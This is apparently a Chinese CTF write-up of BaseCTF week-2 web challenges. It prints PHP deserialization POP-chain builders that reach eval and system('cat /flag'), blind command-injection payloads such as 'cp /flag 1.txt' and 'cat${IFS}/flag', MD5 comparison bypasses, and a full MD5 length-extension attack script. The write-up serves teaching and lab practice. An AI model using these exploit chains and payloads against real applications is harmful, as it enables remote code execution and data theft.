当前位置: 首页 > news >正文

BaseCTF之web(week2)

目录

ez_ser

 一起吃豆豆

你听不到我的声音

Really EZ POP

 RCEisamazingwithspace

所以你说你懂 MD5?

数学大师


ez_ser

<?php
highlight_file(__FILE__);
error_reporting(0);class re{public $chu0;public function __toString(){if(!isset($this->chu0)){return "I can not believes!";}$this->chu0->$nononono;}
}class web {public $kw;public $dt;public function __wakeup() {echo "lalalla".$this->kw;}public function __destruct() {echo "ALL Done!";}
}class pwn {public $dusk;public $over;public function __get($name) {if($this->dusk != "gods"){echo "什么,你竟敢不认可?";}$this->over->getflag();}
}class Misc {public $nothing;public $flag;public function getflag() {eval("system('cat /flag');");}
}class Crypto {public function __wakeup() {echo "happy happy happy!";}public function getflag() {echo "you are over!";}
}
$ser = $_GET['ser'];
unserialize($ser);
?> 

考点:反序列化 

为什么要先进行序列化?因为在程序执行完毕后,所创建对象的属性资源都会被销毁,而序列化是将对象的状态信息转换为可以存储或传输的形式的过程,其目的是为了实现对象的持久化、网络传输、跨平台存储和对象复制。

首先介绍几个魔术方法

  • __construct()‌:当使用new关键字创建对象时被调用,用于初始化对象。
  • __destruct()‌:当销毁对象(unset)或脚本执行结束时或反序列化时被调用,用于清理资源或执行必要的清理操作。
  • __sleep()‌:在对象被序列化之前被调用,通常用于指定哪些属性需要被序列化。
  • __wakeup()‌:在对象被反序列化之后立即被调用,用于初始化对象的状态或执行必要的初始化操作。
  • __call()‌:当在对象上下文中调用不存在的方法时触发。
  • __callStatic()‌:在静态上下文中调用不存在的方法时触发。
  • __isset()‌ 和 ‌__unset()‌:在不可访问的属性上调用isset()empty()以及使用unset()时触发。
  • __get()‌ 和 ‌__set()‌:分别用于获取和设置对象的属性值,当访问不存在的属性时触发。
  • __toString()‌:当一个对象被当作字符串使用时调用。
  • __invoke()‌:当脚本尝试将对象调用为函数时触发。

 首先我们需要用脚本序列化一个对象:

<?php
class re{public $chu0;public function __toString(){if(!isset($this->chu0)){return "I can not believes!";}$this->chu0->$nononono;}
}
class web {public $kw;public $dt;public function __wakeup() {echo "lalalla".$this->kw;}
}
class pwn {public $dusk;public $over;public function __get($name) {if($this->dusk != "gods"){echo "什么,你竟敢不认可?";}$this->over->getflag();}
}
class Misc {public $nothing;public $flag;public function getflag() {eval("system('cat /flag');");}
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->dusk="gods";
$a->kw->chu0->over=new Misc();
echo urlencode(serialize($a));
?>

其中只有当pwn对象引用pwn私有属性或者未定义属性时,才会调用_get()方法;

只有当re对象被当作字符串执行时,才会调用_tostring()方法;

只有当序列化的web对象$a被反序列化时才会调用_wakeup()方法;

 成功得到flag:

 一起吃豆豆

玩游戏?是不可能的;

查看index.js发现了base64编码

里面有些注释是乱码的,不过可以去看游戏的源代码找

你听不到我的声音

 <?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']); 

这题提示就说了怎么看不到shell命令输出的结果?

本人也是先各种命令尝试:

ls不行

ls /不行

cat flag.php不行

cat flag不行

cat /flag不行

cp flag 1.txt不行

cp /flag 1.txt可以

当然这里也可以用重定向符号>写入到一个文件

比如:ls>1.txt 

 一般flag就藏在当前目录或者根目录下的flag文件或flag.php文件里面,多尝试几次就可能出来了

Really EZ POP

 <?php
highlight_file(__FILE__);
class Sink
{private $cmd = 'echo 123;';public function __toString(){eval($this->cmd);}
}
class Shark
{private $word = 'Hello, World!';public function __invoke(){echo 'Shark says:' . $this->word;}
}
class Sea
{public $animal;public function __get($name){$sea_ani = $this->animal;echo 'In a deep deep sea, there is a ' . $sea_ani();}
}
class Nature
{public $sea;public function __destruct(){echo $this->sea->see;}
}
if ($_POST['nature']) {$nature = unserialize($_POST['nature']);
} 

 这里的提示说反序列化不会忽略成员变量的可访问性;也就是我们在序列化的过程中不能修改变量的public/private属性

但是在高版本的php中,一般都可以忽略成员变量的可访问性,但这里提到了,所以肯定暗藏玄机

思路:

倒叙推到

1.这里面最后一步能得到flag的地方也就只有eval($this->cmd);所以我们要把cmd的属性值修改成我们想要执行的shell命令,直接将echo '123'改成'system("ls");'

2.下一个问题:我们得调用_tostring()方法,调用时机也就是Sink对象被当作字符串执行,发现这里echo 'Shark says:' . $this->word;将word当作字符串执行了,那么我们只需把word属性值修改成Sink的对象,但这里我们不能直接将变量值定义为另一个类的对象,我们可以自己写一个函数,然后在外面调用,参数就是new Sink();

3.那如何执行_ivoke()方法呢?上面我们写道该方法的调用时机是当脚本尝试将对象调用为函数时触发。我们很容易发现Sea类中_get()方法有函数被执行了,即将$sea_ani()函数执行,那我们可以将$sea_ani变量值修改成Shark的对象,那么我们调用函数的时候,就是把Shark当做函数调用了,因为$sea_ani的权限是public,所以我们在类外面就可以修改$sea_ani为new Shark();

4.接着该调用_get()方法,调用时机就是引用不存在的属性或者私有属性时,发现_destruct()方法调用了未定义的属性,那么就可以把see的属性值改成new Sea();

 那如何调用_destruct()呢,__destruct() 析构函数则在对象销毁和unserialize反序列化的情况下会被触发。

这样我们就可以写脚本构造序列化了

<?php
class Sink
{private $cmd = 'system("ls");';public function __toString(){eval($this->cmd);}
}
class Shark
{private $word = 'Hello, World!';public function Setword($setword){$this->word =$setword;}public function __invoke(){echo 'Shark says:' . $this->word;}
}
class Sea
{public $animal;public function __get($name){$sea_ani = $this->animal;echo 'In a deep deep sea, there is a ' . $sea_ani();}
}
class Nature
{public $sea;public function __destruct(){echo $this->sea->see;}
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->Setword(new Sink());
echo urlencode(serialize($a));

hackbar执行ls命令时还可以输出,执行ls /命令是用hackbar会有错误,要用Bp或Yakit抓包

 再执行cat /flag命令(用Bp提交)

成功拿到flag

 RCEisamazingwithspace

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {echo 'Space not allowed in command';exit;
}

'\s'表示可以匹配任意一个空白字符,就比如说:换页符、换行符、回车和制表符等。

 绕过空格有很多办法,但尝试了一下,只有${IFS}可以用;

payload:cmd=cat${IFS}/flag

所以你说你懂 MD5?

 <?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {die('加强难度就不会了?');
}// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {die('难吗?不难!');
}// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {die('嘻嘻, 不会了? 没看直播回放?');
}// 你以为这就结束了
if (!isset($_SESSION['random'])) {$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';$name = $_POST['name'] ?? 'user';// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {die('不是管理员也来凑热闹?');
}$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {die('伪造? NO NO NO!');
}// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?

第一步绕过:强比较绕过的方法目前只有使用数组,md5对数组的返回值为null,通过这个特性可以绕过

第二步绕过:弱相等强制转换成字符串,只要字符串经过md5后是0e开头,那么两者就是相等的

第三步绕过:强相等,此时两个字符串的md5值必须完全一样 

第四步绕过:这里用到了字符串的拓展攻击,通过脚本执行可以得到新的md5

from struct import pack, unpack
from math import floor, sin"""
MD5 Extension Attack
====================@refs
https://github.com/shellfeel/hash-ext-attack
"""class MD5:def __init__(self):self.A, self.B, self.C, self.D = \(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)  # initial valuesself.r: list[int] = \[7, 12, 17, 22] * 4 + [5,  9, 14, 20] * 4 + \[4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4  # shift valuesself.k: list[int] = \[floor(abs(sin(i + 1)) * pow(2, 32))for i in range(64)]  # constantsdef _lrot(self, x: int, n: int) -> int:# left rotatereturn (x << n) | (x >> 32 - n)def update(self, chunk: bytes) -> None:# update the hash for a chunk of data (64 bytes)w = list(unpack('<'+'I'*16, chunk))a, b, c, d = self.A, self.B, self.C, self.Dfor i in range(64):if i < 16:f = (b & c) | ((~b) & d)flag = ielif i < 32:f = (b & d) | (c & (~d))flag = (5 * i + 1) % 16elif i < 48:f = (b ^ c ^ d)flag = (3 * i + 5) % 16else:f = c ^ (b | (~d))flag = (7 * i) % 16tmp = b + \self._lrot((a + f + self.k[i] + w[flag])& 0xffffffff, self.r[i])a, b, c, d = d, tmp & 0xffffffff, b, cself.A = (self.A + a) & 0xffffffffself.B = (self.B + b) & 0xffffffffself.C = (self.C + c) & 0xffffffffself.D = (self.D + d) & 0xffffffffdef extend(self, msg: bytes) -> None:# extend the hash with a new message (padded)assert len(msg) % 64 == 0for i in range(0, len(msg), 64):self.update(msg[i:i + 64])def padding(self, msg: bytes) -> bytes:# pad the messagelength = pack('<Q', len(msg) * 8)msg += b'\x80'msg += b'\x00' * ((56 - len(msg)) % 64)msg += lengthreturn msgdef digest(self) -> bytes:# return the hashreturn pack('<IIII', self.A, self.B, self.C, self.D)def verify_md5(test_string: bytes) -> None:# (DEBUG function) verify the MD5 implementationfrom hashlib import md5 as md5_hashlibdef md5_manual(msg: bytes) -> bytes:md5 = MD5()md5.extend(md5.padding(msg))return md5.digest()manual_result = md5_manual(test_string).hex()hashlib_result = md5_hashlib(test_string).hexdigest()assert manual_result == hashlib_result, "Test failed!"def attack(message_len: int, known_hash: str,append_str: bytes) -> tuple:# MD5 extension attackmd5 = MD5()previous_text = md5.padding(b"*" * message_len)current_text = previous_text + append_strmd5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))md5.extend(md5.padding(current_text)[len(previous_text):])return current_text[message_len:], md5.digest().hex()if __name__ == '__main__':message_len = int(input("[>] Input known text length: "))known_hash = input("[>] Input known hash: ").strip()append_text = input("[>] Input append text: ").strip().encode()print("[*] Attacking...")extend_str, final_hash = attack(message_len, known_hash, append_text)from urllib.parse import quotefrom base64 import b64encodeprint("[+] Extend text:", extend_str)print("[+] Extend text (URL encoded):", quote(extend_str))print("[+] Extend text (Base64):", b64encode(extend_str).decode())print("[+] Final hash:", final_hash)

 利用random的hash值得到经过扩展的hash值

 长度要写成96,这里提交的时候name变量的值要写成urlencoded后的值,而不是name

数学大师

 显然我们不可能一个个手算,只能通过脚本来执行

import requests
import reAnswer = 0
regex = r" (\d*?)(.)(\d*)\?"
req = requests.session()
for i in range(55):a = req.post("http://challenge.basectf.fun:22333", data={"answer": Answer})match = re.search(regex, a.text)num1 = match.group(1)op = match.group(2)num2 = match.group(3)if op == "+":Answer = int(num1) + int(num2)elif op == "-":Answer = int(num1) - int(num2)elif op == "÷":Answer = int(num1) // int(num2)elif op == "×":Answer = int(num1) * int(num2)print(a.text)

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • [Linux] 操作系统 入门详解
  • element-ui单元格点击后进入编辑模式的功能
  • SpringBoot使用入门
  • 【安全漏洞】SpringBoot + SpringSecurity CORS跨域资源共享配置
  • Chrome 浏览器插件获取网页 window 对象(方案一)
  • Java 入门指南:Java NIO —— Buffer(缓冲区)
  • 【体检】程序人生之健康检查,全身体检与预防疫苗,五大传染病普筛,基因检测等
  • 你知道吗?Python现在这么火爆的真相!
  • RKNPU2项目实战【1】 ---- YOLOv5实时目标分类
  • sealos快速搭建k8s集群
  • 【深度学习】线性回归的从零开始实现与简洁实现
  • Netty实现WebSocket及分布式解决方案
  • 优思学院|六西格玛,质量人不可错过的宝典,一篇文章让你读懂六西格玛!
  • 线程间数据传递之ThreadLocal、InheritableThreadLocal、TransmittableThreadLocal
  • 什么是云计算?
  • [rust! #004] [译] Rust 的内置 Traits, 使用场景, 方式, 和原因
  • 08.Android之View事件问题
  • ES6--对象的扩展
  • ES6语法详解(一)
  • Laravel深入学习6 - 应用体系结构:解耦事件处理器
  • MySQL用户中的%到底包不包括localhost?
  • PAT A1017 优先队列
  • PHP 程序员也能做的 Java 开发 30分钟使用 netty 轻松打造一个高性能 websocket 服务...
  • vue脚手架vue-cli
  • yii2中session跨域名的问题
  • 不发不行!Netty集成文字图片聊天室外加TCP/IP软硬件通信
  • 服务器从安装到部署全过程(二)
  • 全栈开发——Linux
  • 微信公众号开发小记——5.python微信红包
  • 关于Kubernetes Dashboard漏洞CVE-2018-18264的修复公告
  • #include<初见C语言之指针(5)>
  • %3cli%3e连接html页面,html+canvas实现屏幕截取
  • (C语言)输入一个序列,判断是否为奇偶交叉数
  • (PADS学习)第二章:原理图绘制 第一部分
  • (二十一)devops持续集成开发——使用jenkins的Docker Pipeline插件完成docker项目的pipeline流水线发布
  • (六)Flink 窗口计算
  • (论文阅读40-45)图像描述1
  • (转)【Hibernate总结系列】使用举例
  • (转)Spring4.2.5+Hibernate4.3.11+Struts1.3.8集成方案一
  • (转)视频码率,帧率和分辨率的联系与区别
  • (转)自己动手搭建Nginx+memcache+xdebug+php运行环境绿色版 For windows版
  • (轉貼) 資訊相關科系畢業的學生,未來會是什麼樣子?(Misc)
  • .Net 4.0并行库实用性演练
  • .NET 直连SAP HANA数据库
  • .NET4.0并行计算技术基础(1)
  • .net解析传过来的xml_DOM4J解析XML文件
  • .NET开源、简单、实用的数据库文档生成工具
  • .NET学习教程二——.net基础定义+VS常用设置
  • .vimrc php,修改home目录下的.vimrc文件,vim配置php高亮显示
  • /etc/motd and /etc/issue
  • :如何用SQL脚本保存存储过程返回的结果集
  • @Autowired @Resource @Qualifier的区别
  • @column注解_MyBatis注解开发 -MyBatis(15)
  • @data注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • @kafkalistener消费不到消息_消息队列对战之RabbitMq 大战 kafka